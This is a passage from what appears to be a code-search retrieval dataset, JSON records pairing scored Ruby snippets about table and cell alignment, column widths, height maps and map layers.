"title": ""
},
{
"docid": "893d57e9103a035f53745b85c2bd84c6",
"score": "0.5839012",
"text": "def change_vertical_alignment(alignment='center')\n validate_worksheet\n validate_vertical_alignment(alignment)\n @style_index = modify_alignment(@workbook,@style_index,false,alignment)\n end",
"title": ""
},
{
"docid": "a3433aba338d1a50aeb80aed25ccd107",
"score": "0.58200896",
"text": "def update_width(cell, fixed_width = T.unsafe(nil), use_autowidth = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "79a170dabe35a5792ce04e60ed761cb5",
"score": "0.58008134",
"text": "def test_set_align\n # default state\n assert_equal(0, @format.text_h_align)\n assert_equal(2, @format.text_v_align)\n\n # valid arg\n valid_args = {'left'=>1, 'center'=>2, 'centre'=>2, 'right'=>3,\n 'fill'=>4, 'justify'=>5, 'center_across'=>6,\n 'centre_across'=>6, 'merge'=>6,\n 'top'=>0, 'vcenter'=>1, 'vcentre'=>1, 'bottom'=>2,\n 'vjustify'=>3 }\n valid_args.each do |arg, value|\n fmt = Writeexcel::Format.new\n fmt.set_align(arg)\n case arg\n when 'left', 'center', 'centre', 'right', 'fill', 'justify',\n 'center_across', 'centre_across', 'merge'\n assert_equal(value, fmt.text_h_align, \"arg: #{arg}\")\n when 'top', 'vcenter', 'vcentre', 'bottom', 'vjustify'\n assert_equal(value, fmt.text_v_align, \"arg: #{arg}\")\n end\n end\n\n # invalid arg\n [-1, 0, 1.5, nil, true, false, ['left','top'], {'top'=>0}].each do |arg|\n fmt = Writeexcel::Format.new\n val = get_format_property(fmt)\n #print val.inspect\n #exit\n fmt.set_align(arg)\n assert_equal(val[:align], fmt.text_h_align, \"arg: #{arg} - text_h_align changed.\")\n assert_equal(val[:valign], fmt.text_v_align, \"arg: #{arg} - text_v_align changed.\")\n end\n end",
"title": ""
},
{
"docid": "122bfdb3b8b504c0139306c367b28b37",
"score": "0.5789588",
"text": "def alignment\n @alignment\n end",
"title": ""
},
{
"docid": "18f29db03f8403eeb38a5df8dbf47b7f",
"score": "0.5779699",
"text": "def print_cell(value, width)\n printf(\"%-#{width}s\", value)\n end",
"title": ""
},
{
"docid": "44ed4921fca916c7ae2c461619d883cd",
"score": "0.57719064",
"text": "def block_align\n @block_align\n end",
"title": ""
},
{
"docid": "37184aa4816764f26f3ec0a653ae48af",
"score": "0.57570636",
"text": "def autofit(worksheet)\n (0...worksheet.column_count).each do |col|\n high = 1\n row = 0\n worksheet.column(col).each do |cell|\n w = cell==nil || cell=='' ? 1 : cell.to_s.strip.split('').count+3\n ratio = worksheet.row(row).format(col).font.size/10\n w = (w*ratio).round\n if w > high\n high = w\n end\n row=row+1\n end\n worksheet.column(col).width = high\n end\n (0...worksheet.row_count).each do |row|\n high = 1\n col = 0\n worksheet.row(row).each do |cell|\n w = worksheet.row(row).format(col).font.size+4\n if w > high\n high = w\n end\n col=col+1\n end\n worksheet.row(row).height = high\n end\n end",
"title": ""
},
{
"docid": "f00987eb2552a84f01ab7b66c05bfa64",
"score": "0.5750053",
"text": "def align(value)\n attributes[:align] = value\n end",
"title": ""
},
{
"docid": "111c64caaf200a8dc6f3ff06d6c23d45",
"score": "0.5741673",
"text": "def wrap_up_same_col(cell) [0, cell.col] end",
"title": ""
},
{
"docid": "fd0e4723b3ff22defe7e0dfc01c62d78",
"score": "0.57263786",
"text": "def align(alignment, *args)\n\t\tself.send((alignment.to_s + \"just\").to_sym, *args)\n\tend",
"title": ""
},
{
"docid": "9eaf36655542fbc449827eafb5e07e8a",
"score": "0.5724077",
"text": "def align\n do_parse() unless @align\n @align\n end",
"title": ""
},
{
"docid": "9eaf36655542fbc449827eafb5e07e8a",
"score": "0.5724077",
"text": "def align\n do_parse() unless @align\n @align\n end",
"title": ""
},
{
"docid": "1d4214ac2809b3fe223b57ade85d480b",
"score": "0.5721591",
"text": "def cell_x(q,c)\n item_x(q) + cell_spacing * c\n end",
"title": ""
},
{
"docid": "889d94bf7bdb7006d721e984208ceec4",
"score": "0.57208383",
"text": "def left_aligned(text)\n @center ? text.rjust(terminal_width / 2) : text\n end",
"title": ""
},
{
"docid": "17056676e80049d9d4f65973f5fafda4",
"score": "0.5717316",
"text": "def rjust(label); end",
"title": ""
},
{
"docid": "71b9750a26af3df3d398c14fcf8fba18",
"score": "0.5707977",
"text": "def inspect_alignment(col_width = 20)\n aligned_left_seq, aligned_top_seq = get_optimal_alignment\n s = []\n aligned_left_seq.each_with_index do |left_el, idx|\n top_el = aligned_top_seq[idx]\n delimiter = if elements_are_equal_for_inspection(top_el, left_el)\n '=' # match\n elsif gap_indicator == top_el\n '-' # delete\n elsif gap_indicator == left_el\n '+' # insert\n else\n '!' # mismatch\n end\n s << [\n element_for_inspection_display(left_el, col_width).rjust(col_width),\n element_for_inspection_display(top_el, col_width).ljust(col_width),\n ].join(\" #{ delimiter } \")\n end\n s.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "5d290c632c58b1a89858a071e8dcc8e1",
"score": "0.570717",
"text": "def offset_right_size\n num = @tags.last.size/3.0 + 0.25\n\n h.content_tag(:th, style: \"min-width: #{num}em;\", rowspan: 2) do\n \" \".html_safe\n end\n end",
"title": ""
},
{
"docid": "c79e0cec0da323afe07069ef583b8832",
"score": "0.5696186",
"text": "def print_table_row(row_label, label_width, cells)\n print row_label ? (row_label.rjust(label_width) + \" |\") :\n (\" \" * (label_width + 2))\n cells.each {|cell| print cell.to_s.rjust(7) }\n print \"\\n\"\nend",
"title": ""
},
{
"docid": "5656a391e62b19ff6ecf35f8bedc74a7",
"score": "0.5689659",
"text": "def alignment=(align)\n @alignment = align if align > @alignment\n @min_alignment = align\n end",
"title": ""
},
{
"docid": "86f115a3baacee092d16a47f1fbbbf38",
"score": "0.5684534",
"text": "def top_left_cell; end",
"title": ""
},
{
"docid": "86f115a3baacee092d16a47f1fbbbf38",
"score": "0.5684534",
"text": "def top_left_cell; end",
"title": ""
},
{
"docid": "95a566549840e6a16729cba28a365370",
"score": "0.56571627",
"text": "def set_merge(val=true) # :nodoc:\n set_text_h_align(6)\n end",
"title": ""
},
{
"docid": "adb1379623d00c2344dcca37063987c4",
"score": "0.56540346",
"text": "def alignment\n @__alignment__\n end",
"title": ""
},
{
"docid": "df68687899a6d461ff71ec922809fd8a",
"score": "0.5649786",
"text": "def create_row(spaces, length)\n \"*#{' ' * spaces}*#{' ' * spaces}*\".center(length)\nend",
"title": ""
},
{
"docid": "3cc9ac9be09e70540b6d6967da066323",
"score": "0.56422925",
"text": "def realign\n info = $board.square_info(*center) # square rectangle\n offset = ($board_size - @scale).idiv(2) - 2 # offset to center \n @x = info[:x] + offset # reset to rectangle + offsets\n @y = info[:y] + offset\n end",
"title": ""
},
{
"docid": "d88228e4e27fc99d8c85137749a1d1f3",
"score": "0.56243885",
"text": "def align_column(strings, alignment, minwidth=0, has_invisible=true)\n if alignment == \"right\"\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padleft\n elsif alignment == 'center'\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padboth\n elsif alignment == 'decimal'\n decimals = strings.map{|s| s.to_s.afterpoint}\n maxdecimals = decimals.max\n zipped = strings.zip(decimals)\n strings = zipped.map{|s, decs|\n s.to_s + \" \" * ((maxdecimals - decs))\n }\n padfn = :padleft\n else\n strings = strings.map{|s| s.to_s.strip}\n padfn = :padright\n end\n\n if has_invisible\n width_fn = :visible_width\n else\n width_fn = :size\n end\n\n maxwidth = [strings.map{|s| s.send(width_fn)}.max, minwidth].max\n strings.map{|s| s.send(padfn, maxwidth, has_invisible) }\n end",
"title": ""
},
{
"docid": "b5fdf0c6a7bc37b918de0191ec41ea95",
"score": "0.5606895",
"text": "def column(text)\n text.rjust(20)\nend",
"title": ""
},
{
"docid": "3e09abcaafec2704f9f51d723db03028",
"score": "0.5603451",
"text": "def align_class(attr)\n entry = entries.present? ? entry_class.new : nil\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end",
"title": ""
},
{
"docid": "654271108d128e241e2dbb341624e953",
"score": "0.5602106",
"text": "def auto_align(bmp)\n set_origin(width / 2, bmp.height / 2)\n end",
"title": ""
},
{
"docid": "ca611d47d7dc28a43aae50ababb76377",
"score": "0.5601307",
"text": "def horizontal_spacing\n if scores.length > 1\n (padding[:right] - padding[:left]) / (scores.length - 1)\n else\n padding[:right]\n end\n end",
"title": ""
},
{
"docid": "dba4cb5d97f4af83043fd782b8a05658",
"score": "0.55995977",
"text": "def heading n, heading\n @table.prepend(heading.center(get_width(n) + 1) + \"\\n\") # add 1 to width for trailing \"=\" \nend",
"title": ""
},
{
"docid": "05488a9c5c1e4eefed345d90b73589a7",
"score": "0.5582413",
"text": "def align_column n, alignment\n r = rows\n column(n).each_with_index do |col, i|\n cell = r[i][n]\n cell.alignment = alignment unless cell.alignment?\n end\n end",
"title": ""
},
{
"docid": "e105576bcf9b792370b8509e37451fab",
"score": "0.5576397",
"text": "def alignment_adjust(spec_blk, blk_coord, pg_coord, align)\n\t\tcase align\n\t\twhen :center\n\t\t\tblk_coord[0] -= spec_blk.length / 2\n\t\t\tblk_coord[1] -= spec_blk.width / 2\n\t\twhen :right\n\t\t\tblk_coord[1] -= spec_blk.width\n\t\twhen :left # Default\n\t\tend\n\t\t\n\t\t# Modifies the block and page coordinates for negative values\n\t\tfor i in (0..1)\n\t\t\tnext unless blk_coord[i] < 0\n\t\t\t\n\t\t\tblk_coord[i] = self.block_dim(i) + blk_coord[i] - 1\n\t\t\tpg_coord[i] -= 1\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b1917aec1c7d66cfd1d7f5822d01312d",
"score": "0.5575904",
"text": "def horizontal(char)\n model.horizontal = char\n end",
"title": ""
},
{
"docid": "8154cacdeeb83714a9ba56b3e19b2b76",
"score": "0.5575215",
"text": "def position_cells\n # Calculate x- and y-positions as running sums of widths / heights.\n x_positions = column_widths.inject([0]) { |ary, x|\n ary << (ary.last + x); ary }[0..-2]\n x_positions.each_with_index { |x, i| column(i).x = x }\n\n # y-positions assume an infinitely long canvas starting at zero -- this\n # is corrected for in Table#draw, and page breaks are properly inserted.\n y_positions = row_heights.inject([0]) { |ary, y|\n ary << (ary.last - y); ary}[0..-2]\n y_positions.each_with_index { |y, i| row(i).y = y }\n end",
"title": ""
},
{
"docid": "b5ec31f1b7f2c2aaee753ce68d19d075",
"score": "0.55584335",
"text": "def align_altaz\n command(\"#:AA#\")\n end",
"title": ""
},
{
"docid": "1ca789b3a871021fae830e4bf39ecec2",
"score": "0.55545825",
"text": "def guess_align; end",
"title": ""
},
{
"docid": "1e90dbd575be8dc4aa0e434368240e99",
"score": "0.55535334",
"text": "def align_class(attr)\n entry = entries.present? ? entry_class.new : nil\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end",
"title": ""
},
{
"docid": "c2f90ff59e14a6b0007e645d51e4ba4d",
"score": "0.5549754",
"text": "def decoration n\n @table.prepend('=' * get_width(n) + \"=\\n\")\n @table << '=' * get_width(n) + '='\nend",
"title": ""
},
{
"docid": "0438b23b599f7c6749e1076e629462b8",
"score": "0.55447304",
"text": "def align_class(attr)\n entry = entries.first\n case column_type(entry, attr)\n when :integer, :float, :decimal\n 'right' unless association(entry, attr, :belongs_to)\n when :boolean\n 'center'\n end\n end",
"title": ""
},
{
"docid": "fe4c6724a9a6e5b2e2cc44d317093f92",
"score": "0.55409956",
"text": "def move_entry(x,y)\n @text_entry.x = x\n @text_entry.y = y - 21\n @text_entry.width = self.width-@text_entry.x\n end",
"title": ""
},
{
"docid": "2495c4e40867dc8f6e7f3506bc02115d",
"score": "0.5540104",
"text": "def center\n {:align => 'center'}\nend",
"title": ""
},
{
"docid": "7941e2bc2ab796bd35a930ac0d91c647",
"score": "0.5524477",
"text": "def set_valign(alignment) # :nodoc:\n set_align(alignment)\n end",
"title": ""
},
{
"docid": "ec51b18da6af69c8459876077521bd11",
"score": "0.5506939",
"text": "def insert_cell_before cell\n new_cell = create_cell 1\n cell.previous_sibling = new_cell\n length_of_row = get_number_of_siblings cell\n if length_of_row > @tables[@current_table_name][WIDTH]\n @tables[@current_table_name][WIDTH] = length_of_row\n @tables[@current_table_name][WIDTHEXCEEDED] = true\n end\n new_cell\n end",
"title": ""
},
{
"docid": "3242479eba1b13f443f93c5654f440f2",
"score": "0.5503127",
"text": "def adjust_map(next_col, next_row)\n\t\tx_loc = 22 + (next_col * 27)\n\t\ty_loc = 33 + (next_row * 27)\n\t\t@x_label.grid :column => 0, :row => 0, :sticky => 'nw', :padx => x_loc, :pady => y_loc\n\tend",
"title": ""
},
{
"docid": "0e8e12f23208cf9301c92601fff00f36",
"score": "0.549361",
"text": "def __center(to_center) #:nodoc:\n tabs = 0\n width = @columns - @left_margin - @right_margin\n centered = []\n to_center.each do |tc|\n s = tc.strip\n tabs = s.count(\"\\t\")\n tabs = 0 if tabs.nil?\n ct = ((width - s.size - (tabs * @tabstop) + tabs) / 2)\n ct = (width - @left_margin - @right_margin) - ct\n centered << \"#{s.rjust(ct)}\\n\"\n end\n centered.join('')\n end",
"title": ""
},
{
"docid": "dba138c1e4c0ac7ca1673ef37a16e4f7",
"score": "0.54831916",
"text": "def test_set_center_across\n # default state\n assert_equal(0, @format.text_h_align)\n\n # method call then center_across is set. if arg is none, numeric, string, whatever.\n @format.set_center_across\n assert_equal(6, @format.text_h_align)\n end",
"title": ""
},
{
"docid": "a6390fc643043a0c79eeb57af855d95a",
"score": "0.54684126",
"text": "def align_left(*args)\n Align.align_left(*args)\n end",
"title": ""
},
{
"docid": "04cf018bf55fdc69759837cb7d8a8053",
"score": "0.5464594",
"text": "def column_adjustment\n if offset.x < columns.min\n set_left(offset.x)\n\n elsif offset.x > columns.max\n set_left(offset.x - (columns.max - columns.min))\n\n else\n # @left does not need adjusting\n\n end\n end",
"title": ""
}
] |
db52de28b2dee5acdde9e079f157a023 | Return a new height map, created by using the filter parameter on the current height map | [
{
"docid": "468959cbc0dd6a321dbbabd418f612f8",
"score": "0.83996326",
"text": "def filter(filter)\n filtered_height_map = HeightMap.new\n filtered_height_map.load(filter.filter(@data), @size_x)\n filtered_height_map\n end",
"title": ""
}
] | [
{
"docid": "449b59119bdb3dfa35a8b41323068a77",
"score": "0.51976603",
"text": "def height(pixels)\n filter << \"Size:Height:#{pixels}\"\n self\n end",
"title": ""
},
{
"docid": "c1d73a001776196bfc15bc17afca073a",
"score": "0.5108453",
"text": "def filterhash\n @filter_hash\n end",
"title": ""
},
{
"docid": "170cea640021003b0d9f80a12f08a932",
"score": "0.508468",
"text": "def update_heights\n\t\t@height = @tile.attributes[\"height\"]\n\t\t@waterlevel = @tile.agents.length * HEIGHT_MOD \n\tend",
"title": ""
},
{
"docid": "ca34aa951552ecb67c8ea8345d98fc1f",
"score": "0.502669",
"text": "def height(latitude, longitude)\n get_lookup(:height).search(latitude, longitude)\n end",
"title": ""
},
{
"docid": "202f3c42500a8b7a1107bb41a9034a25",
"score": "0.50152624",
"text": "def create\n window = Gosu::Window.new(@size, @size, false)\n image = TexPlay.create_image(window, @size, @size, color: Gosu::Color::BLACK)\n image.draw 0, 0, 0\n\n for y in 0...@size\n for x in 0...@size\n grayscale = (@data[x + y * @size] * 4.0) / 1000.0\n image.pixel x, y, color: [grayscale, grayscale, grayscale]\n end\n end\n\n image.save('height_map.png')\n end",
"title": ""
},
{
"docid": "ea541c3ed88e3e5121e3525c0e0d8ab2",
"score": "0.4996647",
"text": "def terrain_height\n end",
"title": ""
},
{
"docid": "a472eaa1d317b7e3e8a12e8bd41d8765",
"score": "0.4974338",
"text": "def create_tilemap\n @tilemap = Tilemap.new(@viewport1)\n @tilemap2 = Tilemap.new(@viewport4)\n @tilemap.map_data = $game_map.data.clone\n @tilemap2.map_data = $game_map.data.clone\n result = []\n for i in 0..@tilemap2.map_data.xsize\n for j in 0..@tilemap2.map_data.ysize\n for k in 0..@tilemap2.map_data.zsize\n if ($game_map.region_id(i,j) - @etage) <= 1\n @tilemap2.map_data[i,j,k] = 0\n else\n unless Etage::MAP.include?($game_map.map_id)\n @tilemap2.map_data[i,j,k] = 0\n end\n end\n end\n end\n end\n load_tileset\n end",
"title": ""
},
{
"docid": "4ac95f6539425ead3a0ae5309f52bef4",
"score": "0.48753294",
"text": "def density_map(search_results)\n \n # {\"entries\":[{\"region_id\":\"PK\",\"map_div\":\"density_canvas\",\"locations\":[{\"map_label\":\"PK-IS\",\"map_number\":39},{\"map_label\":\"PK-BA\",\"map_number\":95}],\"column_label\":\"Region\",\"numeric_label\":\"Number of Entries\"},{\"region_id\":\"AF\",\"map_div\":\"density_canvas2\",\"locations\":[{\"map_label\":\"AF-KAB\",\"map_number\":39},{\"map_label\":\"AF-HEL\",\"map_number\":30},{\"map_label\":\"AF-KAN\",\"map_number\":30}],\"column_label\":\"Region\",\"numeric_label\":\"Number of Entries\"}]}\n \n @maps = {:maps => []}\n results = []\n result_hash = {}\n \n # go through the search results\n search_results.each do |result|\n \n unless result.district.province_id.nil?\n \n # get the iso code of the result's province\n province = Province.find(result.district.province_id)\n\n unless province.iso_code.nil?\n \n short_iso = province.iso_code.split(\"-\")[0]\n \n if result_hash[short_iso].nil? # has the country been added to the hash yet?\n \n results << DensityResult.new(short_iso, province.country.name)\n \n result_hash[short_iso] = {:country_name => province.country.name,\n :locations => {}}\n result_hash[short_iso][:locations][province.iso_code] = 1\n else\n \n if result_hash[short_iso][:locations][province.iso_code].nil? # is the province already in the province hash?\n result_hash[short_iso][:locations][province.iso_code] = 1\n else\n result_hash[short_iso][:locations][province.iso_code] += 1\n end\n \n end # end result_hash[short_iso].nil?\n end # end unless\n end # end unless\n end # end search_results.each do |result|\n \n result_hash.each do |country_iso, detail_hash|\n \n new_map = {:region_id => country_iso,\n :map_div => \"map_div_#{country_iso.downcase}\",\n :column_label => \"Region\",\n :number_label => \"NGOs\",\n :locations => []\n }\n \n detail_hash[:locations].each do |province_iso, count|\n new_map[:locations] << {:map_label => province_iso, :map_number => count}\n end\n \n @maps[:maps] << new_map\n \n end\n \n # now that we ahve our results_hash, we need to get the json\n my_file = File.open(\"#{RAILS_ROOT}/public/data/vis.json\", File::WRONLY|File::TRUNC|File::CREAT)\n my_file.puts @maps.to_json.to_s\n my_file.close\n \n return results\n \n end",
"title": ""
},
{
"docid": "0e10102fb1b092714b511aa1e44f0ac2",
"score": "0.47791332",
"text": "def layout(identifier, filter_name, params={})\n @site.compiler.layout_filter_mapping[identifier_to_regex(identifier)] = [ filter_name, params ]\n end",
"title": ""
},
{
"docid": "6143e505c45e6477305e508cc5af4752",
"score": "0.47469854",
"text": "def blur(distance)\r\n # instantiate variables\r\n @b_array = Array.new(array.length) { Array.new(array[0].length,0) }\r\n min_y= 0\r\n max_y = b_array.length - 1\r\n min_x = 0 \r\n max_x = b_array[0].length - 1\r\n blurred_coordinates = []\r\n #iterate through each row of the array, passing down index and value\r\n array.each_with_index do |row,row_i|\r\n #iterate through each column (value) passing index and value\r\n row.each_with_index do |col,col_i| \r\n if row[col_i] == 1 \r\n blurred_coordinates << get_manhattan_set(row_i,col_i,distance)\r\n end\r\n end\r\n end\r\n\r\n blurred_coordinates.each do |set|\r\n set.each do |point|\r\n unless point[0]< min_x || point[1] < min_y || point[0]> max_y || point[1] > max_x\r\n @b_array[point[0]][point[1]] = 1\r\n end\r\n end \r\n end\r\n end",
"title": ""
},
{
"docid": "40dc2b19c5a19ffe4777267e2c851cab",
"score": "0.4739718",
"text": "def height\n features.intersection(Features::HEIGHT)\n end",
"title": ""
},
{
"docid": "8353b70549d8ef81452d95744a3391de",
"score": "0.47362468",
"text": "def height\n @map.size\n end",
"title": ""
},
{
"docid": "d7e3fe9d5ca7da25a3267db4ec4f9348",
"score": "0.47316363",
"text": "def new\n @theme_map = ThemeMap.new\n @map_layers = MapLayer.order('name ASC')\n end",
"title": ""
},
{
"docid": "13ea0b131ac17f0f655f1818850f5433",
"score": "0.47301948",
"text": "def do_set_height(image, hash)\n i = Magick::Image.new(TILE_WIDTH, hash[:height]) {\n self.background_color = \"none\"\n }\n i = i.composite(image, 0, hash[:height]-image.rows, Magick::OverCompositeOp)\n end",
"title": ""
},
{
"docid": "b391ffc8617910625d910f3a960aa9e3",
"score": "0.4722268",
"text": "def filter\n @filter ||= BitArray.new(m)\n end",
"title": ""
},
{
"docid": "eaddaa5854687063ee0e67790b5df5bf",
"score": "0.4713322",
"text": "def maps\n JigMap.find_all_by_attrib_id_and_barclamp_id attrib.id, barclamp.id\n end",
"title": ""
},
{
"docid": "3923f5e18bb0db2c1ed2b8903e1ce25c",
"score": "0.47076407",
"text": "def to_map\r\n {\r\n id: @id,\r\n x: @x,\r\n y: @y,\r\n monster_type_id: @monster_type_id,\r\n max_hp: @max_hp,\r\n hp: @hp\r\n }\r\n end",
"title": ""
},
{
"docid": "716e6139d9230e1e57b8c511270f795e",
"score": "0.47034603",
"text": "def initialize(heights)\r\n\t\t@heights = heights\r\n\t\t@length = heights.length\r\n\t\t@max = {indexes: [0,0], area: 0}\r\n\t\tfind_max_area\r\n\tend",
"title": ""
},
{
"docid": "f34c34de0a04d97715dcf933b69d69c5",
"score": "0.4693406",
"text": "def filter_locations_hk(points)\n filter_locations(points, 15.845.within(0.07), 50.21.within(0.1))\nend",
"title": ""
},
{
"docid": "f752e1e3b3ba6fc8630e4f32b94ab1f3",
"score": "0.46539092",
"text": "def generate_initial_map\n for _ in 0...@height\n temp = []\n for _ in 0...@width\n temp.push(@WALL)\n end\n @map.push(temp)\n end\n end",
"title": ""
},
{
"docid": "3b820b83946597ee273f197a25eef589",
"score": "0.46430898",
"text": "def add_blur_to_image\n r = 0\n c = 0\n rc = 0\n n = 1\n z = []\n u = @y.size.to_i\n while n <= u\n @ary.each_index do |r|\n @ary[r].each_index do |c|\n if ((c.to_i - y[rc][1].to_i).abs + (r.to_i - y[rc][0].to_i).abs).between?(1, @distance.to_i);\n z << [r.to_i, c.to_i]\n end\n end\n end\n r = 0\n c = 0\n rc += 1\n n += 1\n end\n zz=[]\n r1 = 0\n c1 = 0\n z.each do |r|\n r1 = r[0].to_i\n c1 = r[1].to_i\n @ary[r1][c1] = 1\n end\n end",
"title": ""
},
{
"docid": "242b22d076a6448447c66c384a9e710f",
"score": "0.46349615",
"text": "def new_map\n Map.new(@source_df, @target_df, source_metadata: @source_metadata, target_metadata: @target_metadata)\n end",
"title": ""
},
{
"docid": "3d33f9c5834bf41a4e0b5bf9a966ebf1",
"score": "0.4632338",
"text": "def render_breadth_first_search_heat_map\n # For each cell explored\n breadth_first_search.visited.each_key do | visited_cell |\n # Find its distance from the star\n distance = (state.star.x - visited_cell.x).abs + (state.star.y - visited_cell.y).abs\n max_distance = grid.width + grid.height\n # Get it as a percent of the maximum distance and scale to 255 for use as an alpha value\n alpha = 255.to_i * distance.to_i / max_distance.to_i\n heat_color = red.merge({a: alpha })\n outputs.solids << scale_up(visited_cell).merge(heat_color)\n end\n end",
"title": ""
},
{
"docid": "be7a9379f040aedfebb986486d7c4c16",
"score": "0.46296424",
"text": "def height(input)\n process(:height, input)\n end",
"title": ""
},
{
"docid": "6afc0b72f4a44b202cceb68d5dde34cb",
"score": "0.45983514",
"text": "def get_hash_from_height(height)\n db.get(height_key(height))\n end",
"title": ""
},
{
"docid": "98b35a059212b2193bc5a02cc91a9052",
"score": "0.45891595",
"text": "def to_filter\n to_hash.to_filter\n end",
"title": ""
},
{
"docid": "541e8790cc0e94000689ad22efc38e85",
"score": "0.45682722",
"text": "def to_hash\n data.merge(:width => width, :height => height) unless many?\n end",
"title": ""
},
{
"docid": "4f1e607faf0d1f6e763b3cc49923f3e4",
"score": "0.45657408",
"text": "def create\n @filter = Filter.new(params[:filter])\n @area = Area.where(name: @filter.area).first\n @filter.polygon = @area.points\n\n @filter.name = \"#{@area.name} Listings\"\n\n respond_to do |format|\n if @filter.save\n format.html { redirect_to @filter, notice: 'Filter was successfully created.' }\n format.json { render json: @filter, status: :created, location: @filter }\n else\n format.html { render action: \"new\" }\n format.json { render json: @filter.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5f4f8d15fa911b647b3992538e5912af",
"score": "0.45271242",
"text": "def filter(key, &block)\n @output_filters[key] = block if block_given?\n end",
"title": ""
},
{
"docid": "6b38074618444b2b9ace35a59098d4bc",
"score": "0.45184553",
"text": "def height(accessoryHeight)\n return if accessoryHeight.nil?\n @dimensions[:height] = [accessoryHeight.to_f, MIN_HEIGHT, MAX_HEIGHT].sort[1]\n end",
"title": ""
},
{
"docid": "33a554915bc87e9c44bc8c4acd1a7bf6",
"score": "0.45169288",
"text": "def generate_tile_heights(map_size)\n # USE SUPER SIMPLIFIED VERSION FOR NOW\n return Array.new(map_size, 1)\n\n # STUFF BELOW FOR MORE COMPLEX IMPLEMENTATION IN THE FUTURE\n # I RAN OUT OF TIME :(\n tiles = [\n Array.new((map_size*0.5).floor, 1), \n Array.new((map_size*0.4).floor, 2), \n Array.new((map_size*0.1).floor, 3) \n ].flatten\n\n # Compensate for imperfect percentage rounding \n (map_size - tiles.size).times do |i|\n tiles.push([1, 2, 3].sample)\n end\n\n # Shuffle the tiles to randomly assign them\n tiles = tiles.shuffle\n\n return tiles\n end",
"title": ""
},
{
"docid": "f845382d1f244c003396d1b51c81a1a2",
"score": "0.45014772",
"text": "def add_filter(filter)\n @filters = (@filters << filter).sort_by do |f|\n f.respond_to?(:weight) ? f.weight : DEFAULT_WEIGHT\n end.reverse!\n end",
"title": ""
},
{
"docid": "4263513813ca0f7ea83d335067554097",
"score": "0.45009828",
"text": "def employeeLocationWidgetPrepare()\n workLocationsData = Hash.new\n markers = Hash.new\n count = 0\n\n # Add layers: baselayers and overlays\n workLocationsData['layers'] = Hash.new\n \n # Add overlays\n workLocationsData['layers']['overlays'] = Hash.new\n \n locations = employeeLocationsByCity()\n\n locations.each do | key, addrArray |\n \n # Build each marker and add to the list\n addrArray.each { |addr|\n marker = Hash.new\n count += 1\n\n # Build marker\n result = Geocoder.search(addr)\n\n marker['layer'] = key\n marker['lat'] = result[0].latitude\n marker['lng'] = result[0].longitude\n \n # Add to the list\n markers[\"addr\" + \"#{count}\"] = marker\n }\n \n # Integrate markers\n workLocationsData['markers'] = Hash.new\n workLocationsData['markers'] = markers\n \n # Build overlays - allow removing data from the map\n workLocationsData['layers']['overlays'][key] = Hash.new\n workLocationsData['layers']['overlays'][key]['name'] = key\n workLocationsData['layers']['overlays'][key]['type'] = 'markercluster'\n workLocationsData['layers']['overlays'][key]['visible'] = true\n end\n \n return finalizeMap('employee_details', workLocationsData)\n end",
"title": ""
},
{
"docid": "3ecc3271bb4740cce78072569142487c",
"score": "0.44959313",
"text": "def filters\n @filters ||= {}\n end",
"title": ""
},
{
"docid": "3ecc3271bb4740cce78072569142487c",
"score": "0.44959313",
"text": "def filters\n @filters ||= {}\n end",
"title": ""
},
{
"docid": "c29b1d322e55c5ccded3d95f22d90f86",
"score": "0.44956475",
"text": "def filters\n @filters ||= {}\n end",
"title": ""
},
{
"docid": "685a36545d760cc04d4168e1b4d687de",
"score": "0.44672188",
"text": "def new\n\t\t@query = current_user.queries.find(params[:query_id])\n\t\t@filter = @query.filters.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @filter }\n end\n end",
"title": ""
},
{
"docid": "63da87a54553881333ab114b614bc4a0",
"score": "0.4466971",
"text": "def setup_region_tile_mapping\n @region_tile_mapping = {}\n (0..63).each {|i| @region_tile_mapping[i] = []}\n for x in 0..data.xsize\n for y in 0..data.ysize\n @region_tile_mapping[region_id(x, y)] << [x,y]\n end\n end\n end",
"title": ""
},
{
"docid": "88f5022ec34a87d467c735f254cc4bcc",
"score": "0.44669238",
"text": "def new\n @layer_filter = LayerFilter.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @layer_filter }\n format.json { render :json => @layer_filter }\n end\n end",
"title": ""
},
{
"docid": "92be95e29aa54758bedf27911048a471",
"score": "0.44565272",
"text": "def height(value)\n fail InvalidHeight if y_out_of_bounds?(value)\n\n attributes[:geometry][:height] = value\n end",
"title": ""
},
{
"docid": "ae6fd94ff663684c944f22df9c5607b5",
"score": "0.4454651",
"text": "def filtered_poi_hash\n addr = @hash['address']\n {\n 'category_id' => @hash['category_id'],\n 'name' => @hash['name'],\n 'branch_store_name' => @hash['branch_store_name'],\n 'money' => @hash['money'],\n 'telephone' => @hash['telephone'],\n 'cover_img' => @hash['cover_image_url'],\n 'tags' => @hash['tags'],\n 'pixnet_rating' => @hash['rating']['avg'],\n 'city' => addr['city'],\n 'town' => addr['town'],\n 'open_hours' => open_hours,\n 'website' => website,\n 'address' => address\n }\n end",
"title": ""
},
{
"docid": "0e5a9c4b4b36537aed5a540711651600",
"score": "0.4433395",
"text": "def new\n @ifilter = Ifilter.new\n \n @ifilter_headers = @ifilter.get_ifilter_headers\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ifilter }\n end\n end",
"title": ""
},
{
"docid": "b11d292a5db08da3ddb912ae624f0a79",
"score": "0.4430447",
"text": "def filter_upper_than(input_hash, bound)\n return input_hash.select { |k, v| v > bound}\n end",
"title": ""
},
{
"docid": "75e7c0cff7a06f143ba25bf87c890fe5",
"score": "0.4400077",
"text": "def append_height\n diff = @hull_size[0]\n @hull += Array.new(diff) { Array.new(@hull_size[1]) }\n @hull_size[0] += diff\n end",
"title": ""
},
{
"docid": "1d467c324c4d5560a652c71736eab87c",
"score": "0.43994367",
"text": "def blur(distance)\n find_ones.each do |one|\n spread(one, distance)\n end\n end",
"title": ""
},
{
"docid": "95b0972fe33da92e1910b226153ba65f",
